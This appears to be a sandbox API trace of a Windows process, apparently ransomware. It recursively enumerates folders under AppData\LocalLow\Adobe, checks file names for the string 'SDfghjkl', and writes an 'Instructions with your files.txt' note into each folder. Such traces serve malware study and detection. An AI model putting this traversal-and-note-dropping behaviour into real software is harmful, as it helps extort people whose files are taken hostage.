[0130.864] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\..") returned 59
[0130.864] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
[0130.864] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned 64
[0130.864] GetProcessHeap () returned 0x810000
[0130.864] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0130.864] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*") returned 66
[0130.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.865] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\.") returned 66
[0130.865] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.865] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\..") returned 67
[0130.865] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
[0130.865] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned 69
[0130.865] GetProcessHeap () returned 0x810000
[0130.865] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.866] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*") returned 71
[0130.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.868] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\.") returned 71
[0130.868] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.868] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\..") returned 72
[0130.868] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1
[0130.868] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned 84
[0130.868] StrStrIW (lpFirst="rdrmessage.zip", lpSrch="SDfghjkl") returned 0x0
[0130.868] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1
[0130.868] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned 84
[0130.868] StrStrIW (lpFirst="ReaderMessages", lpSrch="SDfghjkl") returned 0x0
[0130.868] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
[0130.868] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned 76
[0130.868] GetProcessHeap () returned 0x810000
[0130.868] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0130.868] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*") returned 78
[0130.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.869] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\.") returned 78
[0130.869] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.869] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\..") returned 79
[0130.869] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.869] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\Instructions with your files.txt") returned 109
[0130.869] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\search\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.870] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.871] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.871] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.871] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.871] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.871] CloseHandle (hObject=0x120) returned 1
[0130.871] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.872] GetProcessHeap () returned 0x810000
[0130.872] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0130.872] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0
[0130.872] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt") returned 102
[0130.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.872] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.873] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.873] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.873] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.873] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.873] CloseHandle (hObject=0x11c) returned 1
[0130.873] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.873] GetProcessHeap () returned 0x810000
[0130.873] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.873] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0
[0130.873] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\Instructions with your files.txt") returned 97
[0130.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.874] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.874] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.875] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.875] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.875] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.875] CloseHandle (hObject=0x118) returned 1
[0130.875] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.875] GetProcessHeap () returned 0x810000
[0130.875] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0130.877] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1
[0130.877] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned 68
[0130.877] GetProcessHeap () returned 0x810000
[0130.877] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0130.878] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*") returned 70
[0130.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.878] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\.") returned 70
[0130.878] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.878] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\..") returned 71
[0130.878] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1
[0130.878] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned 81
[0130.878] GetProcessHeap () returned 0x810000
[0130.878] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.879] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*") returned 83
[0130.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.881] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\.") returned 83
[0130.881] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.881] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\..") returned 84
[0130.881] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1
[0130.881] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned 105
[0130.881] GetProcessHeap () returned 0x810000
[0130.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0130.881] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*") returned 107
